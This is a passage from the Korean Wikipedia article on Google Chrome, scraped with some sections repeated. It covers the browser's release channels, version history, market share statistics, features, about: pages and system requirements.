기능이 추가된다. 안정화 버전은 새로운 기능과 성능보다는 안정적인 사용에 초점이 맞춰져 있다. 일반적으로 배포되는 크롬이 안정화 버전이다. 시험판(Beta)[편집] 개발자 버전의 안정화 버전을 바탕으로 한다. 보통 한 달 업데이트 주기를 가진다. 안정화 버전과 개발자 버전의 중간 단계 아래의 버전들보다는 비교적 안정적인 편이다. 약간의 안정성을 희생하더라도 최신 기술을 체험해보길 원하는 일반사용자들에게 적합하다. 개발자판(Dev)[편집] 최신 크로미엄의 안정화 버전을 바탕으로 한다. 새로운 버전이 매주 업데이트되며 간혹 치명적 문제점은 그 보다 더 빨리 수정되곤 한다. 최신 웹키트 레이아웃 엔진과 V8 자바스크립트 엔진이 업데이트된다. 알 수 없는 오류 혹은 안정화되지 않은 기능으로 인한 데이터 손실 등을 감수하고 새로운 기능을 써보고 싶은 하이엔드 사용자에게 적합. 카나리아(Canary Build)[편집] 기존 베타, 개발자 버전을 설치할 때 안정화 버전과 겹쳐 설치가 되는 문제를 해결하기 위하여 최신 크로미엄 버전과 동일한 버전을 다른 폴더에 중복 설치하는 버전이다. 항상 최신 버전을 유지한다. 따라서 거의 매일 패치된다. 기존 크롬과 달리 노란색 아이콘으로 표시된다. 플러그인 충돌과 같은 문제가 발생할 수 있으며 예상치 못한 버그가 발생할 수 있다. 매우 높은 위험성과 버그들을 감수할 수 있는 얼리어답터들에게 적합하다. 시장 점유율[편집] 스탯카운터에 따르면 2012년 7월 구글 크롬의 시장 점유율은 33.81%이다.[38] 버전별 시장 점유율[편집] 아래 표는 스탯카운터의 2015월 2월 1일부터 28일까지의 데스크탑 브라우저 점유율 통계이다.[39] 스탯카운터 버전 시장 점유율 지난달 대비 크롬 36.0 1.07% 크롬 37.0 1.22% -0.06%p 크롬 38.0 ?? ?? 크롬 39.0 2.94% -29.43%p 크롬 40.0 40.85% +31.15%p 모든 버전 52.27% +0.55%p 세계 웹 브라우저 시장에서 점유율[편집] 이 부분의 본문은 웹 브라우저 시장 점유율 § 요약 표입니다. 2016년 8월 웹 브라우저 점유율 소스 구글 크롬 인터넷익스플로러 파이어폭스 사파리 엣지 기타 스탯카운터 58.37% 9.80% 13.92% 9.61% 2.87% 5.43% W3카운터 58.10% 7.79% 12.40% 12.70% 1.71% 0.00% 클리키 54.21% 15.96% 16.40% 7.73% 4.42% 1.25% 2016년 8월 기준 구글 크롬은 전 세계 시장 점유율 1위를 차지하고 있다. 분석 기준이 다르기 때문에 업체간 결과 수치에 차이가 있다.[B] 국내 웹 브라우저 시장에서의 점유율[편집] 국내 웹로그 분석 업체인 Bizspring의 2018년 4/4분기 분석에 따르면(모바일+PC), 구글 크롬이 44.09%로 우위를 보이며, 인터넷 익스플로러(29.51%)와 모바일 사파리(17.56%)가 그뒤를 따르고 있다.[40] 기능[편집] 주소 자동 완성 기능과 검색 기능 갖춘 검색주소창(Omnibox) V8 자바스크립트 가상 머신 탑재 시크릿 모드(인코그니토, Incognito)라 불리는 개인 정보 보호 모드[41] 이 모드를 열면 사용자 정보를 수집하거나 공유하는 웹사이트, 방문 페이지를 추적하는 인터넷 서비스 제공업체 또는 고용주, 무료 이모티콘을 제공하는 대신 키 입력을 추적하는 악성 소프트웨어, 비밀 요원의 감시, 뒤에 서 있는 사람에 대해 주의하라는 경고 메시지가 나타난다. 주소창과 도구 모음이 없는 창을 통해 웹 애플리케이션 직접 구동 가능 피싱 사이트나 유해 소프트웨어 차단 정보를 구글 세이프 브라우징 API를 통해 자동으로 갱신 웹키트 레이아웃 엔진 사용 보안(keyFunction)과 신뢰성 향상을 위해 개별 탭에 대한 프로세스를 분리 기어와의 통합 독립적인 탭, 자체적인 작업 관리자 기능 탭을 합치거나 별도의 창으로 분리할 수 있다. 기타 향상된 보안 기능들 (향상된 팝업창 차단 등) 다양한 확장기능 설치 (구글 크롬 확장 프로그램) 테마 적용 구글 문서 도구와 연동되는 북마크·확장기능 동기화 구글 번역을 이용한 웹페이지 자동 번역 IE를 탭으로 사용하도록 가능한 기능 익스플로러 사용 IE 탭 멀티 (Enhance)[42] GPU 가속을 지원한다. 다만, 설정을 따로 해야한다. (카나리아는 변수를 지정해야하고 나머지 버전은 '실험실 기능'에서 골라쓰면 된다.) 크롬 About 주소명령체계[편집] 크롬은 애플리케이션을 활용하기 위해 웹사이트나 파일 대신 프로그램내 특수한 주소명령체계를 이용하고 있다. 다음은 그 목록이다.[43] about:about - about 페이지들의 목록. about:blank - 빈 페이지. about:cache - 구글 크롬으로 캐시된 모든 웹 페이지의 목록. about:conflicts - 메인 프로세스에 로드된 모듈과 마지막 시점에서 등록된 모듈. about:crash - 현재의 페이지를 충돌시킨다. about:credits - 만든이들, 사용된 라이선스, 그리고 크롬을 만들때 쓰인 모든 소프트웨어들의 링크 about:dns - DNS 프리패칭(prefetching) 엔진 검사. about:gpu - GPU가속 디버깅을 위해 보조 사용되는 그래픽 카드 정보. about:histograms - 내부적으로 실행한 명령의 자세한 히스토그램을 볼 수 있다. about:memory - 사용된 메모리. about:net-internals - 네트워크 검사. about:flags - 실험적인 브라우저 기능들.[44] about:plugins - 설치된 플러그인들의 목록, (확장프로그램이 아니다) 또한 점검을 위해 플러그인 사용중지 기능이 지원된다. about:sync - 동기화 엔진 검사. about:tcmalloc - 마지막 페이지 로드 상태. about:terms - 크롬 서비스 약관. about:version, about: - 크롬, 웹키트, V8, 그리고 실행에 이용된 명령줄 옵션. chrome://accessibility - 접근성 기능 On/Off, 접근성 트리정보 확인 chrome://bookmarks - 북마크 관리자. chrome://downloads - 다운로드 관리자. chrome://extensions - 확장프로그램 관리자. chrome://history - 방문 기록. chrome://print - 프린트 미리보기 chrome://settings - 크롬 설정. chrome://view-http-cache - 캐시된 HTTP 개체. view-cache:url - 고급설정 캐시의 자세한 부분 중 일부를 볼 수 있다. view-source:url - 특정 URL의 소스코드 보이기. 시스템 요구사항[편집] 최적의 크롬을 사용하려면 다음의 사항이 필요하다.[45] 윈도우: 윈도우 7[46], 인텔 펜티엄 4 또는 그 이상, 100 MB 여유 용량, 128 MB 메모리/윈도우 8 혹은 그 이상 맥 OS X: 10.9.0 또는 그 이상[47], 인텔 (PPC 제외), 100 MB 여유 용량, 128 MB 메모리 리눅스: 우분투 8.04 또는 그 이상 / 데비안 5 / 오픈수세 11.1, 인텔 펜티엄 3 / 애슬론 64 또는 그 이상, 100 MB 여유 용량, 128 MB 메모리 특히 우분투 및 데비안 계열에서의 '사용자 식별 인증키 설정 요구사항'을 만족하는 안정화 버전의 크롬 설치과정은 gdebi라는 어드밴스트 패키징 툴(APT)에 최적화되어있다.[48] 한편 IBM 레드햇 계열의 페도라는 DNF 차원에서 레포지토리 설정후 설치를 지원한다.[49] 그 외[편집] 64비트 지원: 크롬 37에서 윈도우까지 64비트를 지원하게 되어 모든 운영체제에서 64비트를 지원하고 있다. SPDY와 HTTP/2: HTTP/2 표준 선정에 SPDY가 많은 기여를 하였으며 HTTP/2 규격이 발표됨에따라 구글에서는 SPDY 포기하고 HTTP/2에 집중할 것을 선언하였다.[50] 기타 브라우저[편집] 쿨노보 쿨노보(옛 명칭 크롬플러스)는 중국의 메이플 스튜디오에서 크로미엄을 기반으로 만든 웹 브라우저이다. 구글 크롬과 달리 IE 탭, 마우스 제스처 등의 기능을 부가 기능 설치 없이 이용할 수 있다. 대신 보안 업데이트가 느리기 때문에 보안이 취약하다. 크로미엄 크로미엄(Chromium)은 오픈 소스 웹 브라우저 프로젝트이며 주로 최신 기술을 시험하는 테스트 베드 역할로 공식 프로젝트인 구글 크롬의 바탕이 되는 브라우저이다. SR웨어 아이언 SR웨어 아이언(SRWare Iron)은 크로미엄을 기반으로 구현된 오픈 소스 웹 브라우저이다. 구글 크롬과 달리 사용 추적(Usage tracking) 등의 기능이 제거되어 있고, 광고 차단(Ad-block) 기능이 내장되어 있다. 스윙 브라우저 크로미엄 기반 브라우저 이며 줌인터넷에서 엑티브x와 알툴바기능을 집어넣어 만든것이 특징이다. 같이 보기[편집] 웹 브라우저 목록 구글 구글 크롬 OS 크로미엄 OS 블링크 각주[편집] 내용주 ↑ 구글 크롬의 정식 명칭은 'Chrome'이다. 출시 당시에는 Google Chrome이었으나 버전 13부터 Chrome으로 변경되었다.[출처 필요] ↑ 스탯카운터는 조회수를 기준으로 하는 통계이고, 넷 애플리케이션은 순방문자를 기준으로 하는 통계이다. 다시 말해, 스탯카운터의 통계는 가중치를 적용한 통계이고 넷 애플리케이션의 통계는 가중치를 적용하지 않은 통계이다. 예를 들어, 100명의 사용자는 모두 두 분석 업체가 통계를 기반으로 하는 사이트에 접속을 하고, 100명의 사용자 중 70명의 사용자는 인터넷 익스플로러를 사용하고 30명의 사용자는 구글 크롬을 사용한다고 하자. 스탯카운터는 사용자의 조회수에 따라 점유율이 다르게 나타난다. 가령, 70명의 인터넷 익스플로러 사용자가 발생시키는 총 조회수가 400이고, 30명의 구글 크롬 사용자가 발생시키는 총 조회수가 600이라면, 시장 점유율은 인터넷 익스플로러는 40%, 구글 크롬은 60%가 된다. 반면 넷 애플리케이션은 순방문자만을 집계하므로 조회수와 상관없이 시장 점유율은 인터넷 익스플로러는 70%, 구글 크롬은 30%가 된다. 또한, W3카운터는 집계시에 모바일을 함께 하므로 여타 기관들과 표본 차이가 있다. 참조주 ↑ “구글코리아의 크롬 발표 블로거간담회 내용”. 김중태문화원 블로그. 2008년 9월 3일. 2009년 1월 16일에 원본 문서에서 보존된 문서. 2009년 3월 21일에 확인함.  ↑ “스탯카운터의 글로벌 통계”. 스탯카운터. 2013년 9월 20일에 확인함.  ↑ “Chromium.org”. 2010년 12월 3일에 원본 문서에서 보존된 문서. 2010년 12월 22일에 확인함.  ↑ “Release Info”.  ↑ “Google Chrome Releases: Stable Update: Google Chrome 2.0.172.28”. 구글. 2009년 5월 21일.  ↑ “Google Chrome Releases: Stable Channel Update”. 구글. 2010년 1월 25일.  ↑ “Google Chrome Releases: Stable Channel Update”. 구글. 2010년 3월 17일.  ↑ Brian Rakowski (2010년 5월 25일). “Evolving from beta to stable with a faster version of Chrome”. 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구글 크롬 - 위키백과, 우리 모두의 백과사전 구글 크롬 위키백과, 우리 모두의 백과사전. (크롬 브라우저에서 넘어옴) 둘러보기로 가기 검색하러 가기 이 문서는 구글의 인터넷 브라우저에 관한 것입니다. 원소에 대해서는 크로뮴 문서를 참조하십시오. 구글 크롬Google Chrome 개발자 구글 발표일 2008년 9월 3일 안정화 버전 75.0.3770.100 (2019.6.18 미리보기 버전 77.0.3833.0 개발 상태 개발 중 프로그래밍 언어 C++, 어셈블리어, 파이썬, 자바스크립트 운영 체제 안드로이드 (4.0 이상)iOS (9.0이상)리눅스macOS (10.9 이상)윈도우 (윈도우 7이상) 엔진 블링크, V8 플랫폼 x86, x64, 32비트, ARMv7 언어 53개국어 (한국어 포함) 종류 웹 브라우저 라이선스 Google 크롬 서비스 약관웹키트: BSD/LGPL;V8: BSD. 웹사이트 www.google.co.kr/chrome 구글 크롬[A](Google Chrome)은 구글이 개발중인 프리웨어 웹 브라우저이다. 버전 27 까지는 웹키트 레이아웃 엔진을 이용했으나 버전 28 이후는 웹키트의 포크인 블링크를 사용한다. 구글 크롬은 간단하고 효율적인 사용자 인터페이스를 제공하며 현존하는 다른 웹 브라우저들에 비해 나은 안정성과 속도, 그리고 보안성을 갖는 것을 목표하고 있다. 2008년 9월 3일 마이크로소프트 윈도우용 베타 버전이 나왔으며, 2008년 12월 11일 첫 안정화 버전이 나왔다. 크롬이란 뜻은 원래 그래픽 사용자 인터페이스에서 창틀을 가리키는데, 여기서는 브라우저 틀 영역을 가리키며, 이 영역을 최소화시키자는 목표로 크롬이라고 이름을 지었다고 한다.[1] 스탯카운터 통계 기준으로 2012년 5월부터 인터넷 익스플로러를 제치고 현재 전 세계에서 가장 많이 쓰이는 웹 브라우저이다.[2] 목차 1 역사 1.1 출시 발표 1.2 발달 1.3 버전 역사 2 배포 버전 2.1 안정판(Stable) 2.2 시험판(Beta) 2.3 개발자판(Dev) 2.4 카나리아(Canary Build) 3 시장 점유율 3.1 버전별 시장 점유율 3.2 세계 웹 브라우저 시장에서 점유율 3.3 국내 웹 브라우저 시장에서의 점유율 4 기능 4.1 크롬 About 주소명령체계 5 시스템 요구사항 6 그 외 7 기타 브라우저 8 같이 보기 9 각주 10 외부 링크 역사[편집] 출시 발표[편집] 구글 크롬의 발표는 2008년 9월 2일에 하였으며 출시는 2008년 9월 3일에 예정되어 있었다. 구글 크롬의 특징을 설명하고 새로운 브라우저에 대한 관심을 유발시키기 위해 만화가 스콧 맥클라우드가 그린 만화가 저널리스트들과 블로거들에게 보내졌다. 발달[편집] 구글 크롬은 구글과 모질라 넷스케이프 포타블 런타임(Mozilla's Netscape Portable Runtime), 네트워크 보안 서비스(Network Security Service), NPAPI 이 밖에도 SQLite, 많은 오픈 소스를 통해 25개의 코드 라이브러리를 모아 만들어졌다. 버전 역사[편집] 색깔 뜻 빨간색 오래된 버전 초록색 안정화 버전 파란색 베타 버전 보라색 개발자 버전 분홍색 카나리아 버전 주요버전 출시 날짜 레이아웃 버전[3] V8 엔진 버전[4] 운영체제 지원 중요 변경내용 0.2.149 2008-09-08 522 0.3 윈도우 첫 출시. 0.3.154 2008-10-29 플러그인과 웹 프록시의 성능 및 신뢰성 개선. 입력 칸을 위한 맞춤법 검사기 추가. 탭과 창 관리기능 개선. 0.4.154 2008-11-24 525 가져오기 및 내보내기 기능을 포함한 북마크 관리자 지원. 옵션에 개인정보 설정 추가. 팝업 차단 알림 방법 변경, 몇가지 보안기능 수정. 1.0.154.36 2008-12-11 528 첫 안정화 버전 출시. 2.0.172.28 2009-05-21 530 0.4 35% 더 빨라진 자바스크립트 속도 (SunSpider 벤치마크). 마우스 휠 지원. 전체화면 모드. 전체페이지 줌. 양식 자동완성. 북마크 제목순으로 정렬. 브라우저와 데스크톱 가장자리 탭 도킹. 기초적 그리스몽키 지원.[5] 3.0.195.21 2009-09-15 532 1.2 맞춤화된 새로운 "새 탭 페이지". 25% 빨라진 자바스크립트 속도. HTML5의 비디오와 오디오 요소 지원. 가벼워진 테마. 4.0.249.78 2010-01-25 532.5 1.3 확장 프로그램, 북마크 동기화, 강화된 개발자 도구, 더 나아진 HTML5 지원, 더 나아진 성능, Acid3 테스트 모두 통과, HTTP 바이트 범위 지원, 늘어난 보안성과 교차 사이트 스크립팅을 방지하기 위한 실험적인 XSS 감시기능(Auditor) 새로 추가.[6] 4.1.249.1036 2010-03-17 번역 정보막대, 새로운 개인정보 보호 기능, XSS 감시기능(Auditor) 비활성화.[7] 5.0.375.55 2010-05-25 533 2.1 윈도우맥리눅스 더 나아진 자바스크립트 기능, 브라우저 설정 동기화, 더 늘어난 HTML5 지원 (GPS API, 앱 캐시, 웹 소켓 그리고 파일 드래그 앤 드롭), 새로 만들어진 북마크 관리자, 통합된 어도비 플래시 플레이어.[8][9] 6.0.472.53 2010-09-02 534.3 2.2 새롭고 간결화된 사용자 인터페이스와 간소화된 검색주소창, 새 탭 페이지, 하나로 합쳐진 메뉴 단추. 양식 자동완성. 확장 프로그램과 양식 자동완성 정보를 포함하는 확대된 동기화 기능. WebM형식 비디오 지원. 더 나아진 성능과 안정성.[10] 내장된 PDF 지원 기능 (기본적으로 비활성화).[11] 7.0.517.43 2010-10-19 534.7 2.3.11.22 몇백가지의 오류 수정과 함께 주로 안정화를 위해 출시. HTML5 파싱 알고리즘, 파일 API, 입력 요소를 통한 디렉토리 업로드 구현. 맥 OS X 버전에 사용자 인터페이스 자동화를 위한 애플스크립트 추가.[12] SSL 소켓을 위한 후기 바인딩 활성화: 이제 높은 우선순위의 SSL 요청은 항상 서버에 먼저 보내짐. 쿠키를 관리 할 수 있는 새 옵션. 웹 애플리케이션 특징을 활성화 할 수 있도록 업데이트 된 새 탭 페이지. 8.0.552.215 2010-12-02 534.10 2.4.9.19 크롬 웹스토어, 보안을 위해 크롬의 샌드박스 안에서 실행되는 내장 PDF 뷰어, 웹 애플리케이션을 포함하는 확대된 동기화 기능, 더 나아진 플러그인 조작.[13] 그리고 이번 배포 버전에서는 순간 검색, 사이드 탭(윈도우 전용), 탭 구성 설정, 클릭 투 플레이, 백그라운드 웹 애플리케이션, 원격 설정, 오래된 플러그인 사용 안함, XSS 감시기능(Auditor), 클라우드 프린트 프록시, GPU 가속 합성, 캔버스 요소를 위한 WebGL 지원, 익스포제기능과 비슷한 "탭 오버리뷰" 모드 (맥 전용)와 같은 실험적 기능들이 나열된 "about:flags"가 추가되었다. 9.0.597.84 2011-02-03 534.13 2.5.9.6 기본적으로 WebGL 활성화, 어도비 플래시 샌드박스 실행(윈도우 전용)과 순간검색 옵션.[14] WebP 지원.[15] 새로운 about:flags: 프린트 미리보기(Print Preview), GPU 가속 합성(GPU Accelerated Compositing), GPU 가속 캔버스 2D, 구글 네이티브 클라이언트(Google Native Client), CRX 없는 웹 앱(CRX-less Web Apps), 웹페이지 프리렌더링(Web Page Prerendering), 실험적 확장 프로그램 API(Experimental Extension APIs), 하이퍼링크 감시 비활성화. 10.0.648.127 2011-03-08 534.16 3.0.12.30 구글 클라우드 프린트 서명 인터페이스를 기본적으로 활성화. GPU 프로세스 샌드박스에서 실행 (현재 부분적으로 시행 중, v10 최종버전에 완성 예정이었으나 v11 최종버전으로 미루어짐).[16][17] V8을 위한 개선된 컴파일러인 크랭크샤프트(Crankshaft) 통합으로 빨라진 자바스크립트 성능.[18] 옵션 창 탭으로 변경. 11.0.696.57 2011-04-27 534.24 3.1.8.16 HTML5의 음성 입력 API 지원.[19] 아이콘 변경.[20] 12.0.742.91 2011-06-07 534.30 3.2.10.21 탭 다중 선택 지원. Ctrl키를 누른 상태에서 탭을 마우스로 클릭하여 여러 탭을 선택할 수 있으며, 동시에 여러 작업을 한번에 처리할 때 사용함.(윈도우 전용) 3D CSS 하드웨어 가속. 악성 파일을 내려받기 하지 않음으로써 새로운 안전 브라우징 프로텍션(Safe Browsing Protection) 기능. 크롬 내부의 플래시 쿠키 삭제 기능. 검색주소창(Omnibox)에서 애플리케이션의 이름을 입력하여 애플리케이션 실행. 동기화를 옵션 창에 통합. 구글 기어스 삭제[21] 및 G메일, 구글 문서도구 등과 같은 HTML5의 오프라인 기능으로 대체.[22] 매킨토시(Mac)에서 Command-Q를 입력했을 때 경고 추가. PDF 뷰어에 프린트 버튼, 세이브 버튼 추가.[23] 13.0.782.107 2011-08-02 535.1 3.3.10.30 탭 그룹화(Tab Grouping). 웹페이지 프리렌더링(Prerendering). 실행 시 기존 탭에 초점(검색주소창에 이미 실행된 탭의 URL을 입력하면, 입력된 URL을 현재 탭에서 새로 실행하지 않고 이미 실행된 탭으로 초점을 이동함). 가속화된 2D 캔버스. 프린트 미리보기 개선 및 실험적 새 탭 페이지.[24] 14.0.835.163 2011-09-16 535.1 3.4.14.21 크롬 웹 스토어에서 네이티브 클라이언트(NaCl) 애플리케이션이 적용됨.[25] 웹 오디오 API 추가. 맥 OS X 라이언에서 추가적인 기능 지원. 모든 데이터에 대한 암호 동기화. 맥에서 프린트 미리보기 지원. 실험적 웹 요청 확장 API 추가. 실험적 콘텐츠 설정 확장 API 추가.[26] HTTPS 사이트의 DNSSEC 검증.[27] 15.0.874.102 2011-10-25 535.2 3.5.10.22 빨라진 인쇄 미리보기. 실험적 새 탭 페이지가 기본적으로 적용됨. 자바스크립트 전체 화면 API가 이제 기본적으로 적용됨.[28] 검색주소창 역사 동기화.[29] FFmpeg가 기본 VP8 디코더로 전환.[30] 확장프로그램 관리자를 옵션 메뉴로 설정 16.0.912.63 2011-12-13 535.7 3.6.6.5 다중 프로필 기본적으로 적용.[29] 검색 엔진 설정 동기화.[31] 17.0.963.46 2012-02-08 535.11 3.7.12.29 히스토리 탭 개선, 새로운 확장 API, 검색엔진 동기화 지원, 새 탭 버튼에서 "+" 삭제, 다운로드된 파일 보안 검사 기능추가 18.0.1025.142 2012-03-28 535.19 3.8.9.19 새 탭 버튼 밝게 수정. GPU 가속을 지원하는 Canvas2D 그래픽 추가. SwiftShader를 통해 3D그래픽 가속 기능 지원 (WebGL). 19.0.1084.46 2012-05-15 536.5 3.9.24.7 실험기능으로 V8 엔진이 자바스크립트 Harmony (ECMAScript 6)를 지원함. 모든 기기에 페이지 동기화 기능. 새 탭 페이지 맨 아래에 Chrome Web Store 링크 추가. 철자 검사기능 추가 20.0.1132.43 2012-06-26 536.10 3.10.6.0 실험기능으로 터치 최적화 UI 추가 21.0.1180.60 2012-07-31 537.1 3.11.10.6 Media Stream API 기본적으로 활성화, Gamepad API 프로토타입 기본적으로 활성화, HTML5 오디오/비디오 와 웹 오디오가 '24-비트 PCM 웨이프 파일'을 지원 22.0.1229.79 2012-09-25 537.4 3.12.19.4 TLS 1.1 기본적으로 지원, 새로운 방식의 패키지 앱을 기본적으로 활성화, 새로운 메뉴 아이콘, 색 관리 ICC v2 프로파일 기본적으로 지원 23.0.1271.64 2012-11-06 537.10 3.13.7.5 추적금지(Do Not Track) 시행, 같은 상황에서 그래픽칩셋 가속시 전력소비 효율 25% 증가, 사이트 접근 컨트롤 제어, 맥 또한 PPAPI 플래시 플레이어 (또는 Pepper-based 플래시 플레이어)로 대체됨, 새 탭을 열때 새로운 크롬 웹 스토어 아이콘 24.0.1312.52 2013-01-10 537.17 3.14.5.0 MathML 지원, HTML5 데이터리스트 요소 지원, 실험기능으로 CSS 커스텀 필터 추가 25.0.1364.97 2013-02-21 537.22 3.15.11.1 Opu 오디오 지원, [VP9]] 비디오 지원, 외부 확장기능 제어 향상 26.0.1410.43 2013-03-26 Ask Google for suggestion 스펠링체킹 기능 향상, 다중사용자를 위한 바로가기 추가(윈도우) 27.0.1453.93 2013-05-21 웹페이지 로딩 속도 평균 5% 향상, 새로운 API 추가 28.0.1500.71 2013-07-09 537.36 3.18.5.9 웹킷 엔진을 블링크 엔진으로 교체, 알림 기능 확장 29.0.1547.58 2013-08-20 30.0.1599.66 2013-10-01 더 쉬워진 이미지 검색 기능, 안정성과 성능향상을 위한 변화 31.0.1650.48 2013-12-12 32.0.1700.77 2014-01-14 사운드, 캠 등의 작동여부 탭에 표시, 윈도우 8용 메트로 모드, 멀웨어 자동블록, 다양한 앱과 확장프로그램에 대한 API 33.0.1750.117 2014-02-20 34.0.1847.116 2014-04-08 35.0.1916.114 2014-05-20 새로운 자바스크립트 기능 36.0.1985.125 2014-07-16 알림기능 향상, 익명모드와 게스트모드의 디자인 변경, 리눅스에서의 크롬앱런처 추가 37.0.2062.94 2014-08-26 38.0.2125.101 2014-10-07 39.0.2171.65 2014-12-18 맥에서의 64비트 지원 40.0.2214.91 2015-01-21 pdf 파일 인쇄 기능 지원 41.0.2272.76 2015-03-03 4.1.0.21 42.0.2311.90 2015-04-14 4.2.77.14 푸시 알림 API추가, 새로운 북마크 인터페이스 43.0.2357.65 2015-05-19 4.3.61.21 44.0.2403.89 2015-07-21 4.4.63.19 동영상 재생 퍼포먼스 개선 45.0.2454.85 2015-09-01 4.5.103.29 플래시 광고 기본 차단, NPAPI 지원 중단, 메모리 사용량 약 10% 감소, 배터리 효율 증가 46.0.2490.71 2015-10-13 4.6.85.25 HTTPS 아이콘 표시 간략화[32] 47.0.2526.73 2015-12-01 4.7.80.23 알림기능 개선.[33]알림센터 삭제 48.0.2564.82 2016-01-20 4.8.271.17 49.0.2623.75 2016-03-02 4.9.385.28 윈도우 XP/윈도우 비스타/OS X 10.6~10.8을 지원하는 마지막 버전. 50.0.2661.75 2016-04-13 5.0.71.32 푸시 알림 개선[34] 51.0.2704.63 2016-05-25 5.1.281.47 로그인 경험 개선, 전력소비 개선[35] 52.0.2743.82 2016-07-20 5.2.361.43 53.0.2785.89 2016-08-31 5.3.332.37 54.0.2840.59 2016-10-12 5.4.500.31 55.0.2883.75 2016-12-01 5.5.372.29 RAM 누수 현상 30% 개선 56.0.2924.76 2017-01-25 5.6.326.42 Web Bluetooth 지원, HTTPS가 적용되지 않은 패스워드 입력창과 결제창에서 주소표시줄에 "Not Secure" 메시지 표시, 페이지 리로딩 속도 28% 향상[36] 57.0.2987.133 2017-03-29 5.7.492.63 백그라운드 탭 작동 변경으로 에너지 소비 감소[37] 58.0.3029.41 2017-03-29 5.8.283.12 59.0.3053.3 2017-03-28 5.9.50.0 59.0.3059.0 2017-04-01 배포 버전[편집] 안정판(Stable)[편집] 베타 버전의 안정화 버전을 바탕으로 한다. 그렇다 알려진 버그와 오랜 기간 동안 테스트를 거친 새로운 기능이 추가된다. 안정화 버전은 새로운 기능과 성능보다는 안정적인 사용에 초점이 맞춰져 있다. 일반적으로 배포되는 크롬이 안정화 버전이다. 시험판(Beta)[편집] 개발자 버전의 안정화 버전을 바탕으로 한다. 보통 한 달 업데이트 주기를 가진다. 안정화 버전과 개발자 버전의 중간 단계 아래의 버전들보다는 비교적 안정적인 편이다. 약간의 안정성을 희생하더라도 최신 기술을 체험해보길 원하는 일반사용자들에게 적합하다. 개발자판(Dev)[편집] 최신 크로미엄의 안정화 버전을 바탕으로 한다. 새로운 버전이 매주 업데이트되며 간혹 치명적 문제점은 그 보다 더 빨리 수정되곤 한다. 최신 웹키트 레이아웃 엔진과 V8 자바스크립트 엔진이 업데이트된다. 알 수 없는 오류 혹은 안정화되지 않은 기능으로 인한 데이터 손실 등을 감수하고 새로운 기능을 써보고 싶은 하이엔드 사용자에게 적합. 카나리아(Canary Build)[편집] 기존 베타, 개발자 버전을 설치할 때 안정화 버전과 겹쳐 설치가 되는 문제를 해결하기 위하여 최신 크로미엄 버전과 동일한 버전을 다른 폴더에 중복 설치하는 버전이다. 항상 최신 버전을 유지한다. 따라서 거의 매일 패치된다. 기존 크롬과 달리 노란색 아이콘으로 표시된다. 플러그인 충돌과 같은 문제가 발생할 수 있으며 예상치 못한 버그가 발생할 수 있다. 매우 높은 위험성과 버그들을 감수할 수 있는 얼리어답터들에게 적합하다. 시장 점유율[편집] 스탯카운터에 따르면 2012년 7월 구글 크롬의 시장 점유율은 33.81%이다.[38] 버전별 시장 점유율[편집] 아래 표는 스탯카운터의 2015월 2월 1일부터 28일까지의 데스크탑 브라우저 점유율 통계이다.[39] 스탯카운터 버전 시장 점유율 지난달 대비 크롬 36.0 1.07% 크롬 37.0 1.22% -0.06%p 크롬 38.0 ?? ?? 크롬 39.0 2.94% -29.43%p 크롬 40.0 40.85% +31.15%p 모든 버전 52.27% +0.55%p 세계 웹 브라우저 시장에서 점유율[편집] 이 부분의 본문은 웹 브라우저 시장 점유율 § 요약 표입니다. 2016년 8월 웹 브라우저 점유율 소스 구글 크롬 인터넷익스플로러 파이어폭스 사파리 엣지 기타 스탯카운터 58.37% 9.80% 13.92% 9.61% 2.87% 5.43% W3카운터 58.10% 7.79% 12.40% 12.70% 1.71% 0.00% 클리키 54.21% 15.96% 16.40% 7.73% 4.42% 1.25% 2016년 8월 기준 구글 크롬은 전 세계 시장 점유율 1위를 차지하고 있다. 분석 기준이 다르기 때문에 업체간 결과 수치에 차이가 있다.[B] 국내 웹 브라우저 시장에서의 점유율[편집] 국내 웹로그 분석 업체인 Bizspring의 2018년 4/4분기 분석에 따르면(모바일+PC), 구글 크롬이 44.09%로 우위를 보이며, 인터넷 익스플로러(29.51%)와 모바일 사파리(17.56%)가 그뒤를 따르고 있다.[40] 기능[편집] 주소 자동 완성 기능과 검색 기능 갖춘 검색주소창(Omnibox) V8 자바스크립트 가상 머신 탑재 시크릿 모드(인코그니토, Incognito)라 불리는 개인 정보 보호 모드[41] 이 모드를 열면 사용자 정보를 수집하거나 공유하는 웹사이트, 방문 페이지를 추적하는 인터넷 서비스 제공업체 또는 고용주, 무료 이모티콘을 제공하는 대신 키 입력을 추적하는 악성 소프트웨어, 비밀 요원의 감시, 뒤에 서 있는 사람에 대해 주의하라는 경고 메시지가 나타난다. 주소창과 도구 모음이 없는 창을 통해 웹 애플리케이션 직접 구동 가능 피싱 사이트나 유해 소프트웨어 차단 정보를 구글 세이프 브라우징 API를 통해 자동으로 갱신 웹키트 레이아웃 엔진 사용 보안(keyFunction)과 신뢰성 향상을 위해 개별 탭에 대한 프로세스를 분리 기어와의 통합 독립적인 탭, 자체적인 작업 관리자 기능 탭을 합치거나 별도의 창으로 분리할 수 있다. 기타 향상된 보안 기능들 (향상된 팝업창 차단 등) 다양한 확장기능 설치 (구글 크롬 확장 프로그램) 테마 적용 구글 문서 도구와 연동되는 북마크·확장기능 동기화 구글 번역을 이용한 웹페이지 자동 번역 IE를 탭으로 사용하도록 가능한 기능 익스플로러 사용 IE 탭 멀티 (Enhance)[42] GPU 가속을 지원한다. 다만, 설정을 따로 해야한다. (카나리아는 변수를 지정해야하고 나머지 버전은 '실험실 기능'에서 골라쓰면 된다.) 크롬 About 주소명령체계[편집] 크롬은 애플리케이션을 활용하기 위해 웹사이트나 파일 대신 프로그램내 특수한 주소명령체계를 이용하고 있다. 다음은 그 목록이다.[43] about:about - about 페이지들의 목록. about:blank - 빈 페이지. about:cache - 구글 크롬으로 캐시된 모든 웹 페이지의 목록. about:conflicts - 메인 프로세스에 로드된 모듈과 마지막 시점에서 등록된 모듈. about:crash - 현재의 페이지를 충돌시킨다. about:credits - 만든이들, 사용된 라이선스, 그리고 크롬을 만들때 쓰인 모든 소프트웨어들의 링크 about:dns - DNS 프리패칭(prefetching) 엔진 검사. about:gpu - GPU가속 디버깅을 위해 보조 사용되는 그래픽 카드 정보. about:histograms - 내부적으로 실행한 명령의 자세한 히스토그램을 볼 수 있다. about:memory - 사용된 메모리. about:net-internals - 네트워크 검사. about:flags - 실험적인 브라우저 기능들.[44] about:plugins - 설치된 플러그인들의 목록, (확장프로그램이 아니다) 또한 점검을 위해 플러그인 사용중지 기능이 지원된다. about:sync - 동기화 엔진 검사. about:tcmalloc 